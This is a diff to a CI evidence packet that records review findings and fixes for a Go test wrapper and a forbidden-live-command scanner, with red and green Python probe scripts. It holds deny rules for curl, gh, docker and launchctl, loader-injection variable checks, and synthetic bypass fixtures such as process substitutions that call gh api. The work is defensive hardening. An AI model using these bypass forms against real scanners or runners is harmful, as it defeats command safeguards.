[4001593875](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001593875), source [4bd66186ea8d980a06ed8a4adf7f51e76b5028ef](https://github.com/1XP-AI/gh-runnerd/commit/4bd66186ea8d980a06ed8a4adf7f51e76b5028ef) | Reproduced: the immutable forbidden-command scanner compared raw executable tokens, so absolute curl/gh/docker/limactl/security/launchctl paths escaped. Corrected: one basename normalizer is used before wrapper, shell-string and forbidden-command checks. | [Absolute-executable scanner boundary](#root-4001593875-absolute-executable-paths-in-forbidden-live-command-scanner): 8 absolute/wrapped synthetic forms rejected and safe printf retained; no forbidden/live command ran. | +| [4001593877](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001593877), source [4bd66186ea8d980a06ed8a4adf7f51e76b5028ef](https://github.com/1XP-AI/gh-runnerd/commit/4bd66186ea8d980a06ed8a4adf7f51e76b5028ef) | Reproduced: selector-only discovery ignored an executable unfiltered `go test` command. Corrected: the fence-aware audit discovers every executable `go test`, requires `go_test_checked` or an explicit non-prescription fixture marker, and preserves source-derived selector/build guards for prescriptions. | [Unfiltered go-test boundary](#root-4001593877-unfiltered-go-test-prescriptions): 28/28 executable commands are guarded, 0 fixtures are present, and a synthetic unfiltered command is rejected before any Go child. | +| [4001907037](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001907037), source [d85f99fa70a6f563079b1ed4f29a1bc97740a3c5](https://github.com/1XP-AI/gh-runnerd/commit/d85f99fa70a6f563079b1ed4f29a1bc97740a3c5) | Reproduced: the immutable wrapper accepted a persisted `GOENV` path through its first Git lookup. Corrected: non-`off` inherited/command values fail closed and `GOENV=off` is bound before every Go child. | [GOENV boundary](#root-4001907037-persisted-goenv-compiler-settings): synthetic inherited and command-prefix conflicts were refused before a child; reviewed `off` was accepted. | +| [4001907044](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001907044), source [d85f99fa70a6f563079b1ed4f29a1bc97740a3c5](https://github.com/1XP-AI/gh-runnerd/commit/d85f99fa70a6f563079b1ed4f29a1bc97740a3c5) | Reproduced: the immutable wrapper accepted an inherited synthetic PATH before Git/Go lookup. Corrected: the reviewed canonical PATH is validated and pinned before the first Git query and reused by Go children. | [PATH boundary](#root-4001907044-inherited-executable-path): a synthetic inherited PATH was rejected before any child. | +| [4001907050](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001907050), source [d85f99fa70a6f563079b1ed4f29a1bc97740a3c5](https://github.com/1XP-AI/gh-runnerd/commit/d85f99fa70a6f563079b1ed4f29a1bc97740a3c5) | Reproduced: the immutable exhaustive audit missed `/opt/homebrew/bin/go test` because it compared a raw executable token. Corrected: executable basenames are normalized before exhaustive discovery. | [Absolute-Go audit](#root-4001907050-absolute-go-test-executable-discovery): the absolute unfiltered synthetic command was discovered and rejected as unguarded. | +| [4001907053](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001907053), source [d85f99fa70a6f563079b1ed4f29a1bc97740a3c5](https://github.com/1XP-AI/gh-runnerd/commit/d85f99fa70a6f563079b1ed4f29a1bc97740a3c5) | Reproduced: the immutable live-command scanner accepted a Python command string capable of replaying `gh`. Corrected: direct, absolute, `env`-wrapped and compact `python`/`python3 -c` forms fail closed. | [Python command-string boundary](#root-4001907053-python-command-string-live-command-boundary): four synthetic forms were rejected by the pure scanner and safe `printf` remained accepted. | +| [4001907059](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001907059), source [d85f99fa70a6f563079b1ed4f29a1bc97740a3c5](https://github.com/1XP-AI/gh-runnerd/commit/d85f99fa70a6f563079b1ed4f29a1bc97740a3c5) | Reproduced: the immutable build identity omitted reviewed GOOS/GOARCH/arch-feature settings. Corrected: `GOOS=darwin`, `GOARCH=arm64`, `GOARM64=v8.0` are bound and recorded in the target identity. | [Target binding](#root-4001907059-reviewed-target-in-build-identity): reviewed values were accepted, conflicting/unreviewed settings refused, and all 28 records carry the target component. | +| [4001907060](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001907060), source [d85f99fa70a6f563079b1ed4f29a1bc97740a3c5](https://github.com/1XP-AI/gh-runnerd/commit/d85f99fa70a6f563079b1ed4f29a1bc97740a3c5) | Reproduced: the immutable status-only cleanliness gate could hide skip-worktree/assume-unchanged source entries. Corrected: `git ls-files -v` intent bits are checked before metadata and source derivation. | [Git intent-bit gate](#root-4001907060-git-intent-bits-before-source-derivation): synthetic skip-worktree and assume-unchanged entries were observed and refused before source reads. | +| [4001907063](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001907063), source [d85f99fa70a6f563079b1ed4f29a1bc97740a3c5](https://github.com/1XP-AI/gh-runnerd/commit/d85f99fa70a6f563079b1ed4f29a1bc97740a3c5) | Reproduced: the immutable packet URL ledger omitted the three prior fresh P2 discussion anchors. Corrected: exact immutable URLs for 4001767353, 4001767363 and 4001767365 are retained in the dedicated URL ledger. | [Prior-correction URL ledger](#root-4001907063-immutable-urls-for-prior-fresh-p2-corrections): the focused string probe verified all three exact URLs. | +| [4002136372](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002136372), source [da1af0d041e37e5df9f3ed8028b51a69ec58ed8c](https://github.com/1XP-AI/gh-runnerd/commit/da1af0d041e37e5df9f3ed8028b51a69ec58ed8c) | Reproduced: the exact parent had no GOROOT guard or identity. Corrected: reviewed `GOROOT=""` is pinned before every Go child, non-default inherited and command-prefix values fail closed, and `goroot-default` is bound into the nine-part identity. | [GOROOT boundary](#root-4002136372-inherited-and-command-prefix-goroot): both synthetic conflict forms were rejected before a child; no raw root path was recorded. | +| [4002136380](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002136380), source [da1af0d041e37e5df9f3ed8028b51a69ec58ed8c](https://github.com/1XP-AI/gh-runnerd/commit/da1af0d041e37e5df9f3ed8028b51a69ec58ed8c) | Reproduced: the exact parent had no GOFIPS140 guard or identity. Corrected: reviewed `GOFIPS140=off` is pinned before every Go child, other inherited and command-prefix values fail closed, and `gofips140-off` is bound into the nine-part identity. | [GOFIPS140 boundary](#root-4002136380-inherited-and-command-prefix-gofips140): both synthetic conflict forms were rejected before a child. | +| [4002136385](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002136385), source [da1af0d041e37e5df9f3ed8028b51a69ec58ed8c](https://github.com/1XP-AI/gh-runnerd/commit/da1af0d041e37e5df9f3ed8028b51a69ec58ed8c) | Reproduced: the exact parent accepted `gh --repo ... api` before subcommand classification. Corrected: the scanner fails closed for every gh invocation, so global flags need no partial parser. | [gh scanner boundary](#root-4002136385-gh-global-flags-before-subcommand-classification): global-flag, version and absolute-path forms were rejected by the pure scanner; no gh command ran. | +| [4002136391](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002136391), source [da1af0d041e37e5df9f3ed8028b51a69ec58ed8c](https://github.com/1XP-AI/gh-runnerd/commit/da1af0d041e37e5df9f3ed8028b51a69ec58ed8c) | Reproduced: the exact parent had 36 executable Python heredocs without `-I`. Corrected: all current executable heredocs use `python3 -I`, and executable audit regexes require that form. | [Python isolation boundary](#root-4002136391-isolated-python-guard-and-audit-imports): 37 isolated heredocs and a hostile cwd/PYTHONPATH module probe passed without importing the shadow module. | +| [4002136393](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002136393), source [da1af0d041e37e5df9f3ed8028b51a69ec58ed8c](https://github.com/1XP-AI/gh-runnerd/commit/da1af0d041e37e5df9f3ed8028b51a69ec58ed8c) | Reproduced: the exact parent retained three literal head-output records from older packet heads. Corrected: those outputs are historical-only, the follow-up parent is explicit, and the post-push dynamic template is the only current-head assertion. | [Exact-head output boundary](#root-4002136393-stale-exact-head-output-records): the focused probe verified historical relabeling and did not reuse a stale result. | +| [4002136395](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002136395), source [da1af0d041e37e5df9f3ed8028b51a69ec58ed8c](https://github.com/1XP-AI/gh-runnerd/commit/da1af0d041e37e5df9f3ed8028b51a69ec58ed8c) | Reproduced: the exact parent had no bounded module-source verification. Corrected: `go mod download -json all` and `go mod verify` run through the shared bounded Go-child helper, complete metadata/source paths are required and all failures fail closed. | [Module-source boundary](#root-4002136395-downloaded-module-source-verification): fake bounded download/verify success and incomplete-metadata failure probes passed without starting Go. | +| [4002184738](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002184738), source [5297b3c3b05afedf97723b7b58806cdd5519a2b6](https://github.com/1XP-AI/gh-runnerd/commit/5297b3c3b05afedf97723b7b58806cdd5519a2b6) | Reproduced: the exact parent allowed xargs and other command-delegating forms to hide a downstream `gh`/live command. Corrected: the scanner rejects xargs, find, parallel, make and equivalent launchers before delegated command classification, across direct, pipeline, wrapper-prefixed and nested forms. | [Delegation boundary](#root-4002184738-command-delegating-live-command-forms): direct/pipeline/env/nested xargs and find/parallel/make fixtures failed closed; safe `printf` remained accepted and no live command ran. | +| [4002184745](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002184745), source [5297b3c3b05afedf97723b7b58806cdd5519a2b6](https://github.com/1XP-AI/gh-runnerd/commit/5297b3c3b05afedf97723b7b58806cdd5519a2b6) | Reproduced: the exact parent applied a deadline to only the direct Go process, leaving descendants outside timeout termination/reap. Corrected: the wrapper owns a new session/process group, terminates/escalates the full group and waits for the direct child before refusal. | [Process-group boundary](#root-4002184745-descendant-process-group-timeout-and-reap): a synthetic descendant tree terminated/reaped under a shortened deadline without starting a real Go child; no live cleanup ran. | +| [4002184748](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002184748), source [5297b3c3b05afedf97723b7b58806cdd5519a2b6](https://github.com/1XP-AI/gh-runnerd/commit/5297b3c3b05afedf97723b7b58806cdd5519a2b6) | Reproduced: the exact parent’s `^\s*func\s+init` check missed valid Go init declarations separated by whitespace and consecutive line/block comments. Corrected: lexical top-level scanning consumes ignored tokens and fails closed on valid `func init()` while preserving literal/receiver/name boundaries. | [Package-init boundary](#root-4002184748-commented-package-init-declarations): focused source-only red/green probe detected commented declarations and rejected unsafe boundaries; no Go metadata/list/test execution ran. | +| [4002447532](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002447532), source [09ecc1b581af8a3b955b8f44b817e064e9674abe](https://github.com/1XP-AI/gh-runnerd/commit/09ecc1b581af8a3b955b8f44b817e064e9674abe) | Reproduced: two future vet commands bypassed the bounded prescription wrapper. Corrected: both now use `go_vet_checked`, delegating to the shared bounded Go-child/environment/source-identity path. | [Fresh exact-head vet correction](#root-4002447532-future-go-vet-prescriptions-use-the-bounded-wrapper): two vet prescriptions retained, no Go child claimed in focused static evidence; rollback is packet-only parent restoration. | +| [4002447537](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002447537), source [09ecc1b581af8a3b955b8f44b817e064e9674abe](https://github.com/1XP-AI/gh-runnerd/commit/09ecc1b581af8a3b955b8f44b817e064e9674abe) | Reproduced: direct, assignment, pipeline and nested shell substitutions could pass the scanner. Corrected: `$()` and backticks fail closed before wrapper stripping or fence certification. | [Fresh exact-head substitution correction](#root-4002447537-shell-command-substitutions-fail-closed): all focused boundary forms rejected; rollback is packet-only parent restoration. | +| [4002447542](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002447542), source [09ecc1b581af8a3b955b8f44b817e064e9674abe](https://github.com/1XP-AI/gh-runnerd/commit/09ecc1b581af8a3b955b8f44b817e064e9674abe) | Reproduced: Docker was rejected only for a small subcommand list. Corrected: every Docker executable invocation now fails closed, including absolute and read-only forms. | [Fresh exact-head Docker correction](#root-4002447542-every-docker-invocation-is-forbidden): every focused Docker fixture rejected; no Docker operation ran; rollback is packet-only parent restoration. | +| [4002447545](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002447545), source [09ecc1b581af8a3b955b8f44b817e064e9674abe](https://github.com/1XP-AI/gh-runnerd/commit/09ecc1b581af8a3b955b8f44b817e064e9674abe) | Reproduced: four named compiler search-path controls reached the first metadata child. Corrected: inherited/command-prefix values fail closed before the reviewed cgo/tool identity, with the identity retained in prescriptions. | [Fresh exact-head compiler correction](#root-4002447545-compiler-search-paths-precede-cgotool-identity): focused boundary probe rejected all named controls; no compiler or Go child ran; rollback is packet-only parent restoration. | +| [4002447549](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002447549), source [09ecc1b581af8a3b955b8f44b817e064e9674abe](https://github.com/1XP-AI/gh-runnerd/commit/09ecc1b581af8a3b955b8f44b817e064e9674abe) | Reproduced: the staged private-path audit covered only one macOS private-var spelling. Corrected: separate reviewed roots cover both spellings before fence certification. | [Fresh exact-head private-path correction](#root-4002447549-both-macos-private-var-spellings-are-scanned): focused audit confirmed both roots; no private path/log was captured; rollback is packet-only parent restoration. | -Disposition: every `--...` Go spelling is rejected before the first Go child, -including tool/module/overlay/timeout/exec/args, benchmark, selector, CPU and -build overrides. +### Fresh exact-head P2 corrections at `81787b2e90df496a9c5a51fddc7607d3019834b7` -#### Root 4000935441: all valid Go test names +The [exact-head Codex review 5194544866](https://github.com/1XP-AI/gh-runnerd/pull/78#pullrequestreview-5194544866) identified eight actionable packet gaps in the immutable parent above. The two executable-hook roots, [4002688105](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002688105) and [4002688110](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002688110), are separate contexts for one fail-closed `GOCACHEPROG`/`GOAUTH` boundary. This follow-up changes only this packet; it does not run Go test/list/body commands or any live App, runner, workflow, Docker, Lima, Keychain or launchd operation. -Disposition: source derivation follows Go's `isTest` condition, retaining empty -suffix, numeric, underscore, uppercase and other non-lowercase-rune names while -rejecting lowercase-initial suffixes. +#### Exact-parent red reproduction -#### Root 4000935444: benchmark execution +The following read-only probe ran first against the exact immutable parent. It +extracts only packet text, patches child launches to stop before any child, and +uses synthetic shell/Python/JSON fixtures; it does not invoke Go or a live +operation: -Disposition: benchmark-enabling `-bench`/`-test.bench` and equivalent -double-dash forms are rejected before metadata; no benchmark or test body runs. +```sh +set -euo pipefail +[ "${PATH-}" = "/opt/homebrew/bin:/usr/bin:/bin" ] && [ -x /opt/homebrew/bin/python3 ] || { printf '%s\n' 'reviewed canonical PATH and absolute Python interpreter required' >&2; exit 1; } +[ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } +/opt/homebrew/bin/python3 -I - <<'PY' +import ast +import json +import os +import re +import shlex +import subprocess +import sys -#### Root 4000935449: additional package paths +parent = "81787b2e90df496a9c5a51fddc7607d3019834b7" +packet = subprocess.check_output( + ["/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", "-P", "-c", "core.fsmonitor=false", "-c", "core.hooksPath=/dev/null", "show", f"{parent}:docs/evidence/g01-recovery-packet.md"], + text=True, +) +lines = packet.splitlines() +vet = [ + (index, lines[index], lines[index + 1]) + for index in range(len(lines) - 1) + if lines[index].startswith("go_vet_checked ") +] +if len(vet) != 2: + raise SystemExit(f"red setup changed: expected two vet prescriptions, found {len(vet)}") +for index, declaration, command in vet: + fields = declaration.split() + if "-tags=g01_pair_fixture" in command and fields[3].startswith("default+"): + print( + f"RED 4002688103: exact parent {parent} declares {fields[3]} while " + f"command line {index + 2} passes -tags=g01_pair_fixture" + ) + else: + raise SystemExit("red setup changed: vet identity/tag mismatch absent") -Disposition: pre-metadata parsing requires exactly one positional package and -matches it to the reviewed `module-directory:package` identity; extra relative -or import-path targets fail closed before Git/Go metadata. +wrapper_start = packet.index("\nimport hashlib\n", packet.index("go_test_checked()")) + 1 +wrapper_end = packet.index("\nPY\n}", wrapper_start) +wrapper = packet[wrapper_start:wrapper_end] +if "GOCACHEPROG" not in wrapper and "GOAUTH" not in wrapper: + print( + f"RED 4002688105/4002688110: exact parent {parent} has no GOCACHEPROG " + "or GOAUTH command-form guard before Go children" + ) +else: + raise SystemExit("red setup changed: cache/auth guard already present") + +base = [ + "probe", "1", "0" * 64, "probe", + "experiments/g01-scaleset:./livecanary", + "default+race+cgo1+cgo-tools-default+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8", + "go", "test", "-C", "experiments/g01-scaleset", "./livecanary", +] +class StopBeforeChild(Exception): + pass -#### Root 4000964602: executable examples +for finding, assignment in ( + ("4002688105", "GOCACHEPROG=/synthetic/cache-hook"), + ("4002688110", "GOAUTH=command"), +): + saved_env, saved_argv = dict(os.environ), sys.argv + saved_check_output, saved_run = subprocess.check_output, subprocess.run + calls = [] + def stop(*args, **kwargs): + calls.append(args[0] if args else kwargs.get("args")) + raise StopBeforeChild + try: + os.environ.clear() + os.environ.update({"PATH": "/opt/homebrew/bin:/usr/bin:/bin", "LANG": "C"}) + sys.argv = base[:6] + [assignment] + base[6:] + subprocess.check_output = stop + subprocess.run = stop + try: + exec(compile(wrapper, "", "exec"), {"__name__": "__main__"}) + except StopBeforeChild: + pass + finally: + subprocess.check_output, subprocess.run = saved_check_output, saved_run + sys.argv = saved_argv + os.environ.clear() + os.environ.update(saved_env) + if not calls: + raise SystemExit(f"red setup changed: {finding} assignment refused before child") + print(f"RED {finding}: exact parent accepted {assignment} and reached first child lookup") -Disposition: any top-level executable `Example` declaration is rejected before -claiming a source-derived digest, so an unrepresented example body cannot run. +scanner_anchor = packet.index("def forbidden_command(tokens, depth=0):") +scanner_start = packet.rfind("source = Path(", 0, scanner_anchor) +scanner_end = packet.index("\nmatches = []", scanner_anchor) +scanner = {"Path": __import__("pathlib").Path, "re": re, "shlex": shlex} +exec(compile(packet[scanner_start:scanner_end], "", "exec"), scanner) +synthetic_heredoc = "```sh\npython3 -I - <<'PY'\nimport subprocess\nsubprocess.run([\"gh\", \"api\", \"x\"])\nPY\n```" +if list(scanner["shell_commands"](synthetic_heredoc)): + raise SystemExit("red setup changed: parent unexpectedly emitted a heredoc body") +print( + f"RED 4002688115: exact parent {parent} skipped an executable Python heredoc " + "body containing subprocess.run([gh, api, x])" +) +if "GIT_NO_REPLACE_OBJECTS" in wrapper and 'env["GIT_NO_REPLACE_OBJECTS"]' not in wrapper: + print( + f"RED 4002688120: exact parent {parent} rejects override names but does not " + "bind GIT_NO_REPLACE_OBJECTS=1 before Git validation" + ) +else: + raise SystemExit("red setup changed: replacement-ref binding already present") +for form in ("cat <(printf safe)", "tee >(gh api repos/example/project)"): + tokens = scanner["executable_tokens"](scanner["shell_token_segments"](form)[0]) + if scanner["forbidden_command"](tokens) is not None: + raise SystemExit("red setup changed: process substitution form already rejected") +print( + f"RED 4002688125: exact parent {parent} accepted <(...) and >(...) " + "process-substitution forms before token classification" +) +python_lines = [line for line in lines if re.search(r"\bpython3\s+-I\b", line)] +print( + f"RED 4002688128: exact parent launches {len(python_lines)} Python heredoc/" + "interpreter forms through PATH-resolved python3 -I without reviewed absolute PATH preflight" +) -#### Root 4001593870: compiler and cgo-tool environment overrides +validator_start = wrapper.index("def validate_test_stream(stdout, stderr):") +validator_end = wrapper.index("\nrun_command = command + [\"-json\"]", validator_start) +validator = ast.parse(wrapper[validator_start:validator_end]) +namespace = {"json": json, "label": "json-red", "actual": ["TestExpected"]} +exec(compile(validator, "", "exec"), namespace) +stream = "\n".join( + json.dumps(event) + for event in ( + {"Action": "run", "Test": "Unexpected"}, + {"Action": "run", "Test": "TestExpected"}, + {"Action": "pass", "Test": "TestExpected"}, + ) +) + "\n" +try: + namespace["validate_test_stream"](stream, "") +except SystemExit: + pass +else: + print( + "RED 4002688136: exact parent accepted unexpected top-level run event " + "{'Action': 'run', 'Test': 'Unexpected'}" + ) +PY +``` -Disposition: inherited and command-prefix compiler/cgo-tool variables fail -closed before any Go child; `CGO_ENABLED=1` remains pinned and -`cgo-tools-default` is included in every current build identity. No compiler, -linker, pkg-config, metadata, test or live process ran in the focused probe. +Recorded exact-parent red output: -#### Root 4001593875: absolute executable paths in forbidden live-command scanner +```text +RED 4002688103: exact parent 81787b2e90df496a9c5a51fddc7607d3019834b7 declares default+norace+cgo1+cgo-tools-default+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8 while command line 1767 passes -tags=g01_pair_fixture +RED 4002688103: exact parent 81787b2e90df496a9c5a51fddc7607d3019834b7 declares default+norace+cgo1+cgo-tools-default+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8 while command line 1769 passes -tags=g01_pair_fixture +RED 4002688105/4002688110: exact parent 81787b2e90df496a9c5a51fddc7607d3019834b7 has no GOCACHEPROG or GOAUTH command-form guard before Go children +RED 4002688105: exact parent accepted GOCACHEPROG=/synthetic/cache-hook and reached first child lookup +RED 4002688110: exact parent accepted GOAUTH=command and reached first child lookup +RED 4002688115: exact parent 81787b2e90df496a9c5a51fddc7607d3019834b7 skipped an executable Python heredoc body containing subprocess.run([gh, api, x]) +RED 4002688120: exact parent 81787b2e90df496a9c5a51fddc7607d3019834b7 rejects override names but does not bind GIT_NO_REPLACE_OBJECTS=1 before Git validation +RED 4002688125: exact parent 81787b2e90df496a9c5a51fddc7607d3019834b7 accepted <(...) and >(...) process-substitution forms before token classification +RED 4002688128: exact parent launches 47 Python heredoc/interpreter forms through PATH-resolved python3 -I without reviewed absolute PATH preflight +RED 4002688136: exact parent accepted unexpected top-level run event {'Action': 'run', 'Test': 'Unexpected'} +``` -Disposition: executable basenames are normalized before every scanner wrapper, -shell-string and forbidden-command check; absolute direct and wrapper-prefixed -curl/gh/docker/limactl/security/launchctl forms are rejected. No live command -ran. +#### Minimal packet correction and focused green probe -#### Root 4001593877: unfiltered `go test` prescriptions +The minimal correction aligns both future vet identities with their literal +`g01_pair_fixture` command tag. The shared wrapper now pins empty +`GOCACHEPROG` and `GOAUTH=off` before every bounded Go child, including module +download/verify, effective flags, package metadata, vet and test paths; it +binds `GIT_NO_REPLACE_OBJECTS=1` for every Git child before source validation. +The forbidden-live-command audit now AST-inspects executable Python heredocs, +rejects dynamic command arguments even when the reviewed safe marker is present, +rejects network-capable Python imports/calls, treats awk command delegation as +unsafe, denies Git helper options and destructive/broad-kill command families, +rejects shell process substitutions before token classification, and validates the +canonical PATH before invoking reviewed absolute `/opt/homebrew/bin/python3`. +The JSON stream validator rejects unexpected top-level `run`/`pass`/`fail` +events and permits subtests only below expected source-derived parents. -Disposition: all executable shell-fence `go test` commands, including -unfiltered forms, are discovered and must be `go_test_checked` or an explicitly -marked non-prescription fixture; the current packet has 28 guarded commands and -zero such fixtures. No Go child or test body ran. +The focused green probe below parses and executes only packet helper prefixes, +AST validators and synthetic scanner/JSON fixtures. It patches every possible +child launch, records no Go child, and performs no live operation: -#### Root 4001907037: persisted `GOENV` compiler settings +```sh +set -euo pipefail +[ "${PATH-}" = "/opt/homebrew/bin:/usr/bin:/bin" ] && [ -x /opt/homebrew/bin/python3 ] || { printf '%s\n' 'reviewed canonical PATH and absolute Python interpreter required' >&2; exit 1; } +[ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } +/opt/homebrew/bin/python3 -I - <<'PY' +import ast +import json +import os +import re +import shlex +import subprocess +import sys +from pathlib import Path -Disposition: inherited and command-prefix `GOENV` values other than reviewed -`off` fail closed before the first Git/Go child; the child environment is -rechecked for `GOENV=off`. The focused prefix probe accepted only the reviewed -value and rejected the synthetic persisted path without starting a child. +packet = Path("docs/evidence/g01-recovery-packet.md").read_text(encoding="utf-8") +wrapper_start = packet.index("\nimport hashlib\n", packet.index("go_test_checked()")) + 1 +wrapper_end = packet.index("\nPY\n}", wrapper_start) +wrapper = packet[wrapper_start:wrapper_end] +tree = ast.parse(wrapper) +functions = { + node.name: node for node in tree.body if isinstance(node, ast.FunctionDef) +} +for marker in ( + "reviewed_gocacheprog", "reviewed_goauth", "reviewed_git_no_replace_objects", + "GIT_NO_REPLACE_OBJECTS", "GOCACHEPROG", "GOAUTH", +): + if marker not in wrapper: + raise SystemExit(f"green wrapper marker missing: {marker}") +if wrapper.index("reviewed_gocacheprog") > wrapper.index("repo_root = Path("): + raise SystemExit("GOCACHEPROG guard occurs after the first Git child") +if wrapper.index("reviewed_goauth") > wrapper.index("repo_root = Path("): + raise SystemExit("GOAUTH guard occurs after the first Git child") +if wrapper.index("reviewed_git_no_replace_objects") > wrapper.index("repo_root = Path("): + raise SystemExit("Git replacement-ref pin occurs after the first Git child") +go_children = [ + node for node in ast.walk(tree) + if isinstance(node, ast.Call) + and isinstance(node.func, ast.Name) + and node.func.id == "run_go_child" +] +if not go_children or any( + not any(keyword.arg == "env" and isinstance(keyword.value, ast.Name) and keyword.value.id == "go_env" for keyword in node.keywords) + for node in go_children +): + raise SystemExit("a bounded Go child does not use the pinned go_env") -#### Root 4001907044: inherited executable `PATH` +build_prefix = "g01_pair_fixture+norace+cgo1+cgo-tools-default+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8" +lines = packet.splitlines() +vet = [ + (lines[index], lines[index + 1]) + for index in range(len(lines) - 1) + if lines[index].startswith("go_vet_checked ") +] +if len(vet) != 2 or any( + build_prefix not in declaration or "-tags=g01_pair_fixture" not in command + for declaration, command in vet +): + raise SystemExit("future vet tag/build identity mismatch") -Disposition: the inherited PATH is validated against and replaced with the -reviewed `/opt/homebrew/bin:/usr/bin:/bin` value before the first Git lookup; -the same value is passed to Go children. The focused prefix probe rejected a -synthetic inherited path before any child. +original_check, original_run = subprocess.check_output, subprocess.run +build = "default+race+cgo1+cgo-tools-default+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8" +base = [ + "probe", "1", "0" * 64, "probe", "experiments/g01-scaleset:./livecanary", build, + "go", "test", "-C", "experiments/g01-scaleset", "./livecanary", +] +class StopBeforeChild(Exception): + pass -#### Root 4001907050: absolute `go test` executable discovery +def prefix_probe(inherited=(), assignments=(), expected_error=None): + saved_env, saved_argv = dict(os.environ), sys.argv + calls = [] + def stop(*args, **kwargs): + calls.append(args[0] if args else kwargs.get("args")) + raise StopBeforeChild + try: + os.environ.clear() + os.environ.update({"PATH": "/opt/homebrew/bin:/usr/bin:/bin", "LANG": "C"}) + os.environ.update(dict(inherited)) + sys.argv = base[:6] + list(assignments) + base[6:] + subprocess.check_output, subprocess.run = stop, stop + namespace = {"__name__": "__main__"} + try: + exec(compile(wrapper, "", "exec"), namespace) + except StopBeforeChild: + if expected_error is not None: + raise SystemExit(f"{expected_error}: child started") + return namespace + except SystemExit as error: + if expected_error is None or expected_error not in str(error): + raise + if calls: + raise SystemExit(f"{expected_error}: child started") + return namespace + if expected_error is not None: + raise SystemExit(f"{expected_error}: accepted") + return namespace + finally: + subprocess.check_output, subprocess.run = original_check, original_run + sys.argv = saved_argv + os.environ.clear() + os.environ.update(saved_env) -Disposition: exhaustive shell-fence discovery normalizes executable basenames, -so `/opt/homebrew/bin/go test` is classified as an executable Go test command -and an unfiltered instance fails closed as an unguarded prescription. The -focused static audit observed and rejected that absolute synthetic command. +safe = prefix_probe(assignments=("GOCACHEPROG=", "GOAUTH=off", "GIT_NO_REPLACE_OBJECTS=1")) +if safe["env"].get("GOCACHEPROG") != "" or safe["env"].get("GOAUTH") != "off": + raise SystemExit("reviewed cache/auth settings were not pinned") +if safe["env"].get("GIT_NO_REPLACE_OBJECTS") != "1": + raise SystemExit("Git replacement refs were not disabled") +prefix_probe(inherited=(("GOCACHEPROG", "/synthetic/cache"),), expected_error="GOCACHEPROG") +prefix_probe(assignments=("GOAUTH=command",), expected_error="GOAUTH") +prefix_probe(inherited=(("GIT_NO_REPLACE_OBJECTS", "0"),), expected_error="GIT_NO_REPLACE_OBJECTS") -#### Root 4001907053: Python command-string live-command boundary +validator = functions["validate_test_stream"] +validator_ns = {"json": json, "label": "json-green", "actual": ["TestExpected"]} +exec(compile(ast.Module(body=[validator], type_ignores=[]), "", "exec"), validator_ns) +allowed = [ + {"Action": "start", "Package": "example.test"}, + {"Action": "run", "Test": "TestExpected"}, + {"Action": "run", "Test": "TestExpected/sub"}, + {"Action": "output", "Test": "TestExpected/sub", "Output": "safe"}, + {"Action": "pass", "Test": "TestExpected/sub"}, + {"Action": "pass", "Test": "TestExpected"}, + {"Action": "pass", "Package": "example.test"}, +] 